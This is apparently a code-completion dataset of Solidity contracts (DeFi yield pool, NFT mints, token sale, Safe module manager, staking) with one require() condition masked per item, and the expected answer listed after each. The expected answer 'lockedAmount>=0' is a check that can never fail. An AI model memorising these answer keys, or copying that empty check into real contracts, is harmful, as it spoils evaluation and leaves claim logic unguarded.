function launch() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev dev can transfer funds from few strategy's to one strategy for better APY
* @param _strategies - array of strategy's, from which funds are withdrawn
* @param withdrawalsPercents - A percentage of the funds that should be transfered
* @param _receiverStrategyId - number strategy, to which funds are deposited
*/
function moveFundsBatch(
uint256[] memory _strategies,
uint256[] memory withdrawalsPercents,
uint256 _receiverStrategyId
) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _moveFunds(uint256 pid, uint256 withdrawAmount) private returns (uint256) {
}
/**
* @dev user remove his active pending deposit
*/
function removePendingDeposit() external {
}
function removePendingWithdrawal() external {
}
/**
* @dev governance can withdraw all stuck funds in emergency case
* @param _token - IERC20Metadata token that should be fully withdraw from DSF
*/
function withdrawStuckToken(IERC20Metadata _token) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev governance can add new operator for complete pending deposits and withdrawals
* @param _newOperator - address that governance add in list of operators
*/
function updateOperator(address _newOperator) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Get bit value at position
function checkBit(uint8 mask, uint8 bit) internal pure returns (bool) {
}
}
| strategy.withdraw(userAddr,calcLpRatioSafe(lpShares,_poolInfo[defaultWithdrawPid].lpShares),tokenAmounts,withdrawalType,tokenIndex),'DSF: incorrect withdraw params' | 488,429 | strategy.withdraw(userAddr,calcLpRatioSafe(lpShares,_poolInfo[defaultWithdrawPid].lpShares),tokenAmounts,withdrawalType,tokenIndex) |
'DSF: Too low amount!' | //SPDX-License-Identifier: MIT
/**
*⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⠈⢻⣿⠛⠻⢷⣄⠀⠀ ⣴⡟⠛⠛⣷⠀ ⠘⣿⡿⠛⠛⢿⡇⠀⠀⠀⠀
*⠀⠀⠀⠀⠀⢸⣿⠀⠀ ⠈⣿⡄⠀⠿⣧⣄⡀ ⠉⠀⠀ ⣿⣧⣀⣀⡀⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⠀⢸⣿⠀⠀ ⢀⣿⠃ ⣀ ⠈⠉⠻⣷⡄⠀ ⣿⡟⠉⠉⠁⠀⠀⠀⠀⠀
*⠀⠀⠀⠀⢠⣼⣿⣤⣴⠿⠋⠀ ⠀⢿⣦⣤⣴⡿⠁ ⢠⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*
* - Defining Successful Future -
*
*/
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
import '@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol';
import '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './interfaces/IStrategy.sol';
/**
*
* @title DSF (Defining Successful Future) Protocol
*
* @notice Contract for Convex&Curve protocols optimize.
* Users can use this contract for optimize yield and gas.
*
*
* @dev DSF is main contract.
* Contract does not store user funds.
* All user funds goes to Convex&Curve pools.
*
*/
contract DSF is ERC20, Pausable, AccessControl {
using SafeERC20 for IERC20Metadata;
bytes32 public constant OPERATOR_ROLE = keccak256('OPERATOR_ROLE');
struct PendingWithdrawal {
uint256 lpShares;
uint256[3] tokenAmounts;
}
struct PoolInfo {
IStrategy strategy;
uint256 startTime;
uint256 lpShares;
}
uint8 public constant POOL_ASSETS = 3;
uint256 public constant LP_RATIO_MULTIPLIER = 1e18;
uint256 public constant FEE_DENOMINATOR = 1000;
uint256 public constant MIN_LOCK_TIME = 1 days;
uint256 public constant FUNDS_DENOMINATOR = 10_000;
uint8 public constant ALL_WITHDRAWAL_TYPES_MASK = uint8(3);
PoolInfo[] internal _poolInfo;
uint256 public defaultDepositPid;
uint256 public defaultWithdrawPid;
uint8 public availableWithdrawalTypes;
address[POOL_ASSETS] public tokens;
uint256[POOL_ASSETS] public decimalsMultipliers;
mapping(address => uint256[POOL_ASSETS]) internal _pendingDeposits;
mapping(address => PendingWithdrawal) internal _pendingWithdrawals;
uint256 public totalDeposited = 0;
uint256 public managementFee = 150; // DFS Fee 15%
bool public launched = false;
event CreatedPendingDeposit(address indexed depositor, uint256[POOL_ASSETS] amounts);
event CreatedPendingWithdrawal(
address indexed withdrawer,
uint256 lpShares,
uint256[POOL_ASSETS] tokenAmounts
);
event Deposited(address indexed depositor, uint256[POOL_ASSETS] amounts, uint256 lpShares);
event Withdrawn(
address indexed withdrawer,
IStrategy.WithdrawalType withdrawalType,
uint256[POOL_ASSETS] tokenAmounts,
uint256 lpShares,
uint128 tokenIndex
);
event AddedPool(uint256 pid, address strategyAddr, uint256 startTime);
event FailedDeposit(address indexed depositor, uint256[POOL_ASSETS] amounts, uint256 lpShares);
event FailedWithdrawal(
address indexed withdrawer,
uint256[POOL_ASSETS] amounts,
uint256 lpShares
);
event SetDefaultDepositPid(uint256 pid);
event SetDefaultWithdrawPid(uint256 pid);
event ClaimedAllManagementFee(uint256 feeValue);
event AutoCompoundAll();
modifier startedPool() {
}
constructor(address[POOL_ASSETS] memory _tokens) ERC20('DSFLP', 'DSFLP') {
}
function poolInfo(uint256 pid) external view returns (PoolInfo memory) {
}
function pendingDeposits(address user) external view returns (uint256[POOL_ASSETS] memory) {
}
function pendingDepositsToken(address user, uint256 tokenIndex) external view returns (uint256) {
}
function pendingWithdrawals(address user) external view returns (PendingWithdrawal memory) {
}
function pause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setAvailableWithdrawalTypes(uint8 newAvailableWithdrawalTypes)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
/**
* @dev update managementFee, this is a DSF commission from protocol profit
* @param newManagementFee - minAmount 0, maxAmount FEE_DENOMINATOR - 1
*/
function setManagementFee(uint256 newManagementFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev Returns managementFee for strategy's when contract sell rewards
* @return Returns commission on the amount of profit in the transaction
* @param amount - amount of profit for calculate managementFee
*/
function calcManagementFee(uint256 amount) external view returns (uint256) {
}
/**
* @dev Claims managementFee from all active strategies
*/
function claimAllManagementFee() external {
}
function autoCompoundAll() external {
}
/**
* @dev Returns total holdings for all pools (strategy's)
* @return Returns sum holdings (USD) for all pools
*/
function totalHoldings() public view returns (uint256) {
}
/**
* @dev Returns price depends on the income of users
* @return Returns currently price of DSF
*/
function lpPrice() external view returns (uint256) {
}
/**
* @dev Returns number of pools
* @return number of pools
*/
function poolCount() external view returns (uint256) {
}
/**
* @dev in this func user sends funds to the contract and then waits for the completion
* of the transaction for all users
* @param amounts - array of deposit amounts by user
*/
function feesOptimizationDeposit(uint256[3] memory amounts) external whenNotPaused {
}
/**
* @dev in this func user sends pending withdraw to the contract and then waits
* for the completion of the transaction for all users
* @param lpShares - amount of DSF for withdraw
* @param tokenAmounts - array of amounts stablecoins that user want minimum receive
*/
function feesOptimizationWithdrawal(uint256 lpShares, uint256[POOL_ASSETS] memory tokenAmounts)
external
whenNotPaused
{
}
/**
* @dev DSF protocol owner complete all active pending deposits of users
* @param userList - dev send array of users from pending to complete
*/
function completeFeesOptimizationDeposits(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
/**
* @dev DSF protocol owner complete all active pending withdrawals of users
* @param userList - array of users from pending withdraw to complete
*/
function completeFeesOptimizationWithdrawals(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
function calcLpRatioSafe(uint256 outLpShares, uint256 strategyLpShares)
internal
pure
returns (uint256 lpShareRatio)
{
}
function completeFeesOptimizationWithdrawalsMk2(address[] memory userList)
external
onlyRole(OPERATOR_ROLE)
startedPool
{
}
/**
* @dev deposit in one tx, without waiting complete by dev
* @return Returns amount of lpShares minted for user
* @param amounts - user send amounts of stablecoins to deposit
*/
function deposit(uint256[POOL_ASSETS] memory amounts)
external
whenNotPaused
startedPool
returns (uint256)
{
}
/**
* @dev withdraw in one tx, without waiting complete by dev
* @param lpShares - amount of DSF for withdraw
* @param tokenAmounts - array of amounts stablecoins that user want minimum receive
*/
function withdraw(
uint256 lpShares,
uint256[POOL_ASSETS] memory tokenAmounts,
IStrategy.WithdrawalType withdrawalType,
uint128 tokenIndex
) external whenNotPaused startedPool {
}
function calcWithdrawOneCoin(uint256 lpShares, uint128 tokenIndex)
external
view
returns (uint256 tokenAmount)
{
}
function calcSharesAmount(uint256[3] memory tokenAmounts, bool isDeposit)
external
view
returns (uint256 lpShares)
{
}
/**
* @dev add a new pool, deposits in the new pool are blocked for one day for safety
* @param _strategyAddr - the new pool strategy address
*/
function addPool(address _strategyAddr) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev set a default pool for deposit funds
* @param _newPoolId - new pool id
*/
function setDefaultDepositPid(uint256 _newPoolId) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev set a default pool for withdraw funds
* @param _newPoolId - new pool id
*/
function setDefaultWithdrawPid(uint256 _newPoolId) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function launch() external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev dev can transfer funds from few strategy's to one strategy for better APY
* @param _strategies - array of strategy's, from which funds are withdrawn
* @param withdrawalsPercents - A percentage of the funds that should be transfered
* @param _receiverStrategyId - number strategy, to which funds are deposited
*/
function moveFundsBatch(
uint256[] memory _strategies,
uint256[] memory withdrawalsPercents,
uint256 _receiverStrategyId
) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(
_strategies.length == withdrawalsPercents.length,
'DSF: incorrect arguments for the moveFundsBatch'
);
require(_receiverStrategyId < _poolInfo.length, 'DSF: incorrect a reciver strategy ID');
uint256[POOL_ASSETS] memory tokenBalance;
for (uint256 y = 0; y < POOL_ASSETS; y++) {
tokenBalance[y] = IERC20Metadata(tokens[y]).balanceOf(address(this));
}
uint256 pid;
uint256 DSFLp;
for (uint256 i = 0; i < _strategies.length; i++) {
pid = _strategies[i];
DSFLp += _moveFunds(pid, withdrawalsPercents[i]);
}
uint256[POOL_ASSETS] memory tokensRemainder;
for (uint256 y = 0; y < POOL_ASSETS; y++) {
tokensRemainder[y] =
IERC20Metadata(tokens[y]).balanceOf(address(this)) -
tokenBalance[y];
if (tokensRemainder[y] > 0) {
IERC20Metadata(tokens[y]).safeTransfer(
address(_poolInfo[_receiverStrategyId].strategy),
tokensRemainder[y]
);
}
}
_poolInfo[_receiverStrategyId].lpShares += DSFLp;
require(<FILL_ME>)
}
function _moveFunds(uint256 pid, uint256 withdrawAmount) private returns (uint256) {
}
/**
* @dev user remove his active pending deposit
*/
function removePendingDeposit() external {
}
function removePendingWithdrawal() external {
}
/**
* @dev governance can withdraw all stuck funds in emergency case
* @param _token - IERC20Metadata token that should be fully withdraw from DSF
*/
function withdrawStuckToken(IERC20Metadata _token) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/**
* @dev governance can add new operator for complete pending deposits and withdrawals
* @param _newOperator - address that governance add in list of operators
*/
function updateOperator(address _newOperator) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
// Get bit value at position
function checkBit(uint8 mask, uint8 bit) internal pure returns (bool) {
}
}
| _poolInfo[_receiverStrategyId].strategy.deposit(tokensRemainder)>0,'DSF: Too low amount!' | 488,429 | _poolInfo[_receiverStrategyId].strategy.deposit(tokensRemainder)>0 |
"not eligible for teamList mint" | pragma solidity ^0.8.0;
contract AlphaKingdom is Ownable, ERC721A, ReentrancyGuard {
uint256 public immutable maxPerAddressDuringMint;
struct SaleConfig {
uint64 publicPrice;
bool paused;
}
SaleConfig public saleConfig;
mapping(address => uint256) public teamList;
constructor(
uint256 maxBatchSize_,
uint256 maxPerAddressDuringMint_
) ERC721A("Alpha Kingdom", "GateKeeper", maxBatchSize_, 4444) {
}
modifier callerIsUser() {
}
function teamMint() external callerIsUser {
require(<FILL_ME>)
require(totalSupply() + 3 <= collectionSize, "reached max supply");
teamList[msg.sender]-- ;
_safeMint(msg.sender, 3);
}
function publicSaleMint(uint256 quantity)
external
payable
callerIsUser
{
}
function refundIfOver(uint256 price) private {
}
function SetupSaleInfo(
uint64 publicPriceWei,
bool state
) external onlyOwner {
}
function isPublicSaleOn(
uint256 publicPriceWei,
bool state
) internal view returns (bool) {
}
function seedteamList(address[] memory addresses)
external
onlyOwner
{
}
// For marketing etc.
function devMint(uint256 quantity) external onlyOwner {
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| teamList[msg.sender]>0,"not eligible for teamList mint" | 488,470 | teamList[msg.sender]>0 |
"reached max supply" | pragma solidity ^0.8.0;
contract AlphaKingdom is Ownable, ERC721A, ReentrancyGuard {
uint256 public immutable maxPerAddressDuringMint;
struct SaleConfig {
uint64 publicPrice;
bool paused;
}
SaleConfig public saleConfig;
mapping(address => uint256) public teamList;
constructor(
uint256 maxBatchSize_,
uint256 maxPerAddressDuringMint_
) ERC721A("Alpha Kingdom", "GateKeeper", maxBatchSize_, 4444) {
}
modifier callerIsUser() {
}
function teamMint() external callerIsUser {
require(teamList[msg.sender] > 0, "not eligible for teamList mint");
require(<FILL_ME>)
teamList[msg.sender]-- ;
_safeMint(msg.sender, 3);
}
function publicSaleMint(uint256 quantity)
external
payable
callerIsUser
{
}
function refundIfOver(uint256 price) private {
}
function SetupSaleInfo(
uint64 publicPriceWei,
bool state
) external onlyOwner {
}
function isPublicSaleOn(
uint256 publicPriceWei,
bool state
) internal view returns (bool) {
}
function seedteamList(address[] memory addresses)
external
onlyOwner
{
}
// For marketing etc.
function devMint(uint256 quantity) external onlyOwner {
}
// // metadata URI
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner nonReentrant {
}
function setOwnersExplicit(uint256 quantity) external onlyOwner nonReentrant {
}
function numberMinted(address owner) public view returns (uint256) {
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
}
| totalSupply()+3<=collectionSize,"reached max supply" | 488,470 | totalSupply()+3<=collectionSize |
"Claim time not reached!" | pragma solidity ^0.6.0;
interface AggregatorV3Interface {
function decimals()
external
view
returns (
uint8
);
function description()
external
view
returns (
string memory
);
function version()
external
view
returns (
uint256
);
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
pragma solidity 0.6.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
pragma experimental ABIEncoderV2;
library SafeMath {
function percent(uint value,uint numerator, uint denominator, uint precision) internal pure returns(uint quotient) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context{
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns ( address ) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
// function renounceOwnership() public onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
// function transferOwnership(address newOwner) public onlyOwner {
// _transferOwnership(newOwner);
// }
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
}
}
contract PriceContract {
AggregatorV3Interface internal priceFeed;
address private priceAddress = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // ETH/USD Mainnet
// address private priceAddress = 0xD4a33860578De61DBAbDc8BFdb98FD742fA7028e; // ETH/USD Goerli Testnet
//https://docs.chain.link/docs/bnb-chain-addresses/
constructor() public {
}
function getLatestPrice() public view returns (uint) {
}
}
contract tokenSale is Ownable,PriceContract{
address public reduxToken;
uint256 internal price = 1111*1e18; //0.0009 usdt // 1111 token per USD
uint256 public minInvestment = 50*1e18;
bool saleActive=false;
//uint256 public softCap = 1200000*1e18;
//uint256 public hardCap = 3000000*1e18;
uint256 public totalInvestment = 0;
Token token = Token(0xE7589ADdd235aFFEACa91Bf2b7903EbCc2F6eE4d); // Token;
Token usdt = Token(0xdAC17F958D2ee523a2206206994597C13D831ec7); // USDT
struct userStruct{
bool isExist;
uint256 investment;
uint256 ClaimTime;
uint256 lockedAmount;
}
mapping(address => userStruct) public user;
mapping(address => uint256) public ethInvestment;
mapping(address => uint256) public usdtInvestment;
constructor() public{
}
fallback() external {
}
function purchaseTokensWithETH() payable public{
}
function calculateUsd(uint256 bnbAmount) public view returns(uint256){
}
function purchaseTokensWithStableCoin(uint256 amount) public {
}
function claimTokens() public{
require(<FILL_ME>)
require(user[msg.sender].lockedAmount >=0,"No Amount to Claim");
token.transfer(msg.sender,user[msg.sender].lockedAmount);
user[msg.sender].lockedAmount = 0;
}
function updatePrice(uint256 tokenPrice) public {
}
function startSale() public{
}
function stopSale() public{
}
function setMin(uint256 min) public{
}
function withdrawRemainingTokensAfterICO() public{
}
function forwardFunds() internal {
}
function withdrawFunds() public{
}
function calculateTokenAmount(uint256 amount) external view returns (uint256){
}
function tokenPrice() external view returns (uint256){
}
function investments(address add) external view returns (uint256,uint256,uint256,uint256){
}
}
abstract contract Token {
function transferFrom(address sender, address recipient, uint256 amount) virtual external;
function transfer(address recipient, uint256 amount) virtual external;
function balanceOf(address account) virtual external view returns (uint256) ;
}
| user[msg.sender].ClaimTime<now,"Claim time not reached!" | 488,743 | user[msg.sender].ClaimTime<now |
"No Amount to Claim" | pragma solidity ^0.6.0;
interface AggregatorV3Interface {
function decimals()
external
view
returns (
uint8
);
function description()
external
view
returns (
string memory
);
function version()
external
view
returns (
uint256
);
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
pragma solidity 0.6.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
pragma experimental ABIEncoderV2;
library SafeMath {
function percent(uint value,uint numerator, uint denominator, uint precision) internal pure returns(uint quotient) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context{
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns ( address ) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
// function renounceOwnership() public onlyOwner {
// emit OwnershipTransferred(_owner, address(0));
// _owner = address(0);
// }
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
// function transferOwnership(address newOwner) public onlyOwner {
// _transferOwnership(newOwner);
// }
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
}
}
contract PriceContract {
AggregatorV3Interface internal priceFeed;
address private priceAddress = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419; // ETH/USD Mainnet
// address private priceAddress = 0xD4a33860578De61DBAbDc8BFdb98FD742fA7028e; // ETH/USD Goerli Testnet
//https://docs.chain.link/docs/bnb-chain-addresses/
constructor() public {
}
function getLatestPrice() public view returns (uint) {
}
}
contract tokenSale is Ownable,PriceContract{
address public reduxToken;
uint256 internal price = 1111*1e18; //0.0009 usdt // 1111 token per USD
uint256 public minInvestment = 50*1e18;
bool saleActive=false;
//uint256 public softCap = 1200000*1e18;
//uint256 public hardCap = 3000000*1e18;
uint256 public totalInvestment = 0;
Token token = Token(0xE7589ADdd235aFFEACa91Bf2b7903EbCc2F6eE4d); // Token;
Token usdt = Token(0xdAC17F958D2ee523a2206206994597C13D831ec7); // USDT
struct userStruct{
bool isExist;
uint256 investment;
uint256 ClaimTime;
uint256 lockedAmount;
}
mapping(address => userStruct) public user;
mapping(address => uint256) public ethInvestment;
mapping(address => uint256) public usdtInvestment;
constructor() public{
}
fallback() external {
}
function purchaseTokensWithETH() payable public{
}
function calculateUsd(uint256 bnbAmount) public view returns(uint256){
}
function purchaseTokensWithStableCoin(uint256 amount) public {
}
function claimTokens() public{
require(user[msg.sender].ClaimTime < now,"Claim time not reached!");
require(<FILL_ME>)
token.transfer(msg.sender,user[msg.sender].lockedAmount);
user[msg.sender].lockedAmount = 0;
}
function updatePrice(uint256 tokenPrice) public {
}
function startSale() public{
}
function stopSale() public{
}
function setMin(uint256 min) public{
}
function withdrawRemainingTokensAfterICO() public{
}
function forwardFunds() internal {
}
function withdrawFunds() public{
}
function calculateTokenAmount(uint256 amount) external view returns (uint256){
}
function tokenPrice() external view returns (uint256){
}
function investments(address add) external view returns (uint256,uint256,uint256,uint256){
}
}
abstract contract Token {
function transferFrom(address sender, address recipient, uint256 amount) virtual external;
function transfer(address recipient, uint256 amount) virtual external;
function balanceOf(address account) virtual external view returns (uint256) ;
}
| user[msg.sender].lockedAmount>=0,"No Amount to Claim" | 488,743 | user[msg.sender].lockedAmount>=0 |
"GS000" | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
import "../common/Enum.sol";
import "../common/SelfAuthorized.sol";
import "./Executor.sol";
/**
* @title Module Manager - A contract managing Safe modules
* @notice Modules are extensions with unlimited access to a Safe that can be added to a Safe by its owners.
⚠️ WARNING: Modules are a security risk since they can execute arbitrary transactions,
so only trusted and audited modules should be added to a Safe. A malicious module can
completely takeover a Safe.
* @author Stefan George - @Georgi87
* @author Richard Meissner - @rmeissner
*/
abstract contract ModuleManager is SelfAuthorized, Executor {
event EnabledModule(address indexed module);
event DisabledModule(address indexed module);
event ExecutionFromModuleSuccess(address indexed module);
event ExecutionFromModuleFailure(address indexed module);
address internal constant SENTINEL_MODULES = address(0x1);
mapping(address => address) internal modules;
/**
* @notice Setup function sets the initial storage of the contract.
* Optionally executes a delegate call to another contract to setup the modules.
* @param to Optional destination address of call to execute.
* @param data Optional data of call to execute.
*/
function setupModules(address to, bytes memory data) internal {
require(modules[SENTINEL_MODULES] == address(0), "GS100");
modules[SENTINEL_MODULES] = SENTINEL_MODULES;
if (to != address(0)) {
require(isContract(to), "GS002");
// Setup has to complete successfully or transaction fails.
require(<FILL_ME>)
}
}
/**
* @notice Enables the module `module` for the Safe.
* @dev This can only be done via a Safe transaction.
* @param module Module to be whitelisted.
*/
function enableModule(address module) public authorized {
}
/**
* @notice Disables the module `module` for the Safe.
* @dev This can only be done via a Safe transaction.
* @param prevModule Previous module in the modules linked list.
* @param module Module to be removed.
*/
function disableModule(address prevModule, address module) public authorized {
}
/**
* @notice Execute `operation` (0: Call, 1: DelegateCall) to `to` with `value` (Native Token)
* @dev Function is virtual to allow overriding for L2 singleton to emit an event for indexing.
* @param to Destination address of module transaction.
* @param value Ether value of module transaction.
* @param data Data payload of module transaction.
* @param operation Operation type of module transaction.
* @return success Boolean flag indicating if the call succeeded.
*/
function execTransactionFromModule(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) public virtual returns (bool success) {
}
/**
* @notice Execute `operation` (0: Call, 1: DelegateCall) to `to` with `value` (Native Token) and return data
* @param to Destination address of module transaction.
* @param value Ether value of module transaction.
* @param data Data payload of module transaction.
* @param operation Operation type of module transaction.
* @return success Boolean flag indicating if the call succeeded.
* @return returnData Data returned by the call.
*/
function execTransactionFromModuleReturnData(
address to,
uint256 value,
bytes memory data,
Enum.Operation operation
) public returns (bool success, bytes memory returnData) {
}
/**
* @notice Returns if an module is enabled
* @return True if the module is enabled
*/
function isModuleEnabled(address module) public view returns (bool) {
}
/**
* @notice Returns an array of modules.
* If all entries fit into a single page, the next pointer will be 0x1.
* If another page is present, next will be the last element of the returned array.
* @param start Start of the page. Has to be a module or start pointer (0x1 address)
* @param pageSize Maximum number of modules that should be returned. Has to be > 0
* @return array Array of modules.
* @return next Start of the next page.
*/
function getModulesPaginated(address start, uint256 pageSize) external view returns (address[] memory array, address next) {
}
/**
* @notice Returns true if `account` is a contract.
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account The address being queried
*/
function isContract(address account) internal view returns (bool) {
}
}
| execute(to,0,data,Enum.Operation.DelegateCall,type(uint256).max),"GS000" | 488,900 | execute(to,0,data,Enum.Operation.DelegateCall,type(uint256).max) |
"invalid token ID" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract AussieSnacks is ERC1155, ERC1155Burnable, Ownable {
struct metadata {
string name;
string description;
string image;
}
mapping (uint256 => metadata) private uris;
constructor() ERC1155("") {}
function setURI(uint256 tokenId, metadata memory m) external onlyOwner {
}
function mint(address account, uint256 id, uint256 amount) public {
}
function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts) public {
for(uint i; i < ids.length; i++) {
require(<FILL_ME>)
}
_mintBatch(to, ids, amounts, "");
}
function uri(uint256 tokenId) public view override returns (string memory) {
}
function isCardoCool() external pure returns (bool) {
}
function isJCCool() external pure returns (bool) {
}
}
| ids[i]<=4,"invalid token ID" | 488,967 | ids[i]<=4 |
"Token not accepted for staking" | pragma solidity ^0.8.0;
contract MemeTokenStaking {
address public owner;
constructor() {
}
struct TokenInfo {
IERC20 token;
uint256 votingPower;
}
mapping(address => TokenInfo) tokenWhitelist;
mapping(address => mapping(address => uint256)) public stakes; // Mapping from user address to token address to staked amount
modifier onlyOwner() {
}
function configureToken(address _tokenAddr, uint256 _votingPower) external onlyOwner {
}
function stake(address _tokenAddr, uint256 _amount) external {
require(_tokenAddr != address(0), "Invalid token address");
require(<FILL_ME>)
require(_amount > 0, "Cannot stake zero tokens");
// Transfer tokens from user to staking contract
tokenWhitelist[_tokenAddr].token.transferFrom(msg.sender, address(this), _amount);
stakes[msg.sender][_tokenAddr] += _amount; // Update user's stake amount
}
function unstake(address _tokenAddr, uint256 _amount) external {
}
}
